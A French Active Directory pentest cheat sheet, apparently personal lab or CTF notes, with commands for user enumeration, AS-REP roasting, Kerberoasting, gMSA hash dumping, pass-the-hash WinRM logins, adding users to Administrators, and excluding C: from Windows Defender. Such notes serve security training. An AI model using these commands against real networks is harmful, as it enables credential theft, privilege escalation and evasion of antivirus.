Active Directory

Active Directories

> **Info**
>
> Les AD (Active Directories) sont des annuaires LDAP. Sur une machine avec un AD, est généralement présent un ensemble de services de partage de ressources centralisées sur un réseau d'ordinateurs (généralement Windows) avec un système d'identification et d'authentification.

Il existe deux difficultés dans la pénétration d'AD :

- Pénétration via authentification (Les protocoles d'authentifications sont NTLM et Kerberos)
- Escalade de privilèges (Via analyse des permissions et accès de l'utilisateur pawned)

Plusieurs services peuvent être observés sur un AD :

- Kerberos `port:88` (service d'authentification Kerberos)
- RPC `port:135/593` (Remote Procedure Call)
- LDAP `port:389/636` (Consultation de l'annuaire AD)
- SMB `port:445` (service de partage de ressources qui permet d'accéder à ces ressources)
- WinRM `port:5985/5986` (Remote Shell)

> **Info**
>
> Authentifié ou non, crackmapexec permet de lister à peu près ce que l'on souhaite. Sinon enum4linux si ça ne marche pas. On peut aussi utiliser smbclient pour se connecter au service SMB.

```
#Enumérer les users|groups|shares|pass-pol
sudo crackmapexec smb <IP> -u <user> -p <mdp> --groups|users|shares|pass-pol
```

Non authentifié

> **Info**
>
> Ne pas confondre hash NTLM (LM:NTLM) qui peut être utilisé pour l'authentification via du PtH (Pass the Hash) et Net-NTLMv1/2 qui ne peuvent pas être utilisés comme ceci et doivent être bruteforce.

- Si le service RPC existe, essayer d'énumérer des informations utilisateurs avec rpcclient.
- Vérifier si on peut s'identifier sans mdp ni user.
- On peut récupérer beaucoup d'informations avec ldapsearch si un service ldap tourne. (Peut fonctionner en non authentifié)
- SMB Relay : Attaque MitM permettant d'avoir l'accès de l'utilisateur lors de sa tentative de connexion. Si SMB Signing est activé sur la machine, l'attaque est impossible.
- On peut énumérer les utilisateurs de Kerberos avec Kerbrute ou crackmapexec.
- AS_REP Roasting : Possibilité d'obtenir le TGT sans avoir le mdp (l'utilisateur ciblé doit avoir la pré authentification désactivée). Permet ensuite de cracker le hash en bruteforce en local.

Authentifié

- On peut lancer BloodHound pour commencer à trouver des chemins d'attaque et consulter les fichiers et permissions et groupes de chaque utilisateur de manière simple et efficace :

```
#Installer Java si besoin pour Neo4j
sudo apt-get install openjdk-11-jdk
#Installer Neo4j
sudo apt-get install apt-transport-https
sudo add-apt-repository universe
sudo apt install neo4j
#Installer BloodHound
sudo apt install bloodhound
#Lancer neo4j (accessible via https://localhost:7474/)
sudo neo4j console
#Lancer BloodHound
bloodhound
#Générer les json à charger dans BloodHound.
python3 -m pip install bloodhound
bloodhound-python -u username -p 'mdp' -ns ip_du_serveur -d domaine.local -c
all
```

- Une fois authentifié, on peut lister tous les utilisateurs de l'AD afin de récupérer leur nom et vérifier qu'aucun ne sont vulnérables à l'AS_REP Roasting.

```
#Non authentifié : Vérifier parmis une liste d'utilisateurs si ils sont AS_REP Roastsable
impacket-GetNPUsers domain/ -usersfile <users_file> -format [hashcat|john] -outputfile outfile
#Authentifié : Vérifier les comptes AS_REP Roastable pour tous les utilisateurs
impacket-GetNPUsers domain/user:passwrd -request -format [hashcat|john] -outputfile outfile
```

- Kerberoast : On peut demander les TGS de tous les comptes SPN (Service Principal Name) si on est authentifié. Ils peuvent être bruteforce mais les mdp sont aléatoires. Cependant, si un compte utilisateur est SPN, alors on pourra peut être cracker le mot de passe via son TGS.

```
#Consulter la date de votre machine
date
#Télécharger rdate (remote date)
sudo apt install rdate
#Consulter la date de la machine distante
rdate -p <IP>
#Synchroniser votre date avec celle de la machine distante
rdate -s <IP>
```

- On peut obtenir les hashs NTLM des comptes GMSA (Group Managed Service Account) auquel notre compte authentifié a accès via du GMSA Dumping. On pourra donc faire du PtH (Pass the Hash).

```
python3 gMSADumper.py -u user -p password -d domain.local
```

- Si l'utilisateur authentifié peut gérer le DC (Domain Controller), alors il aura les permissions pour voir les hashs des mots de passe d'autres utilisateurs. On peut les dump via le module secretsdump de impacket.
- Si l'utilisateur authentifié est dans le groupe Account Operators, il peut changer le mot de passe et faire plusieurs autres manipulations sur les autres utilisateurs.
- On peut choper les hashs avec responder en faisant exécuter un fichier automatiquement par un utilisateur lorsqu'il entre dans le répertoire concerné en uploadant certains types de

fichiers sur le SMB.

- Pour toute action spécifiques, l'exécution de commandes PS, ce n'est pas possible via SMB. On peut cependant essayer diverses méthodes avec crackmapexec.

```
#Connexion WinRM avec mot de passe
evil-winrm -u <username> -p <password>  -i <IP>/<Domain>
#Connexion WinRM avec Pass the Hash NTLM
evil-winrm -u <username> -H <Hash> -i <IP>
```

PowerShell

> **Info**
>
> PowerShell est très pénible à utiliser, les commandes sont rapidement très longues pour faire des choses assez basiques. De cette frustration, j'ai eu l'idée de lister les commandes récurrentes que j'utilise sous PowerShell.

Général

```
#Lister tous les fichiers en récursif d'un dossier
ls -R -File | Select fullname
#Télécharger un fichier distant
Invoke-WebRequest <url> -OutFile <file.exe>
#Lister le dossier courant avec les permissions
Get-ChildItem . -recurse | ForEach-Object{Get-Acl $_.FullName}
#Liste des utilisateurs sur la machine
Get-LocalUser | Select *
#Chercher un dossier/fichier par nom en regex
Get-Childitem -Path C:\ -Include *le_nom* -Recurse -ErrorAction
SilentlyContinue
```

Active Directories

```
#Lister les utilisateurs existants sur l'AD
Get-ADUser -Filter *
#Lister les permissions d'un utilisateur
```

```
Get-ADPermission -Identity <username>
#Lister les groupes d'un utilisateur
Get-ADPrincipalGroupMembership <username>
#Ajouter l'utilisateur à un groupe
Add-ADGroupMember -Identity Administrators -Members <username>;
#Modifier le mot de passe d'un utilisateur
Set-ADAccountPassword -Identity <username> -NewPassword (ConvertTo-
SecureString -AsPlainText "mdp" -Force)
```

Windows Defender

```
#Afficher la liste d'exclusion de Winfows Defender
Get-MpPreference | Select-Object -ExpandProperty ExclusionPath
#Ajouter le disque C: aux exclusions de defender (Admin perms)
Add-MpPreference -ExclusionPath "C:"
#Chemin du menu startup de Windows :
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
#Lister tous les anti-virus présents sur un système
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct
Get displayName
```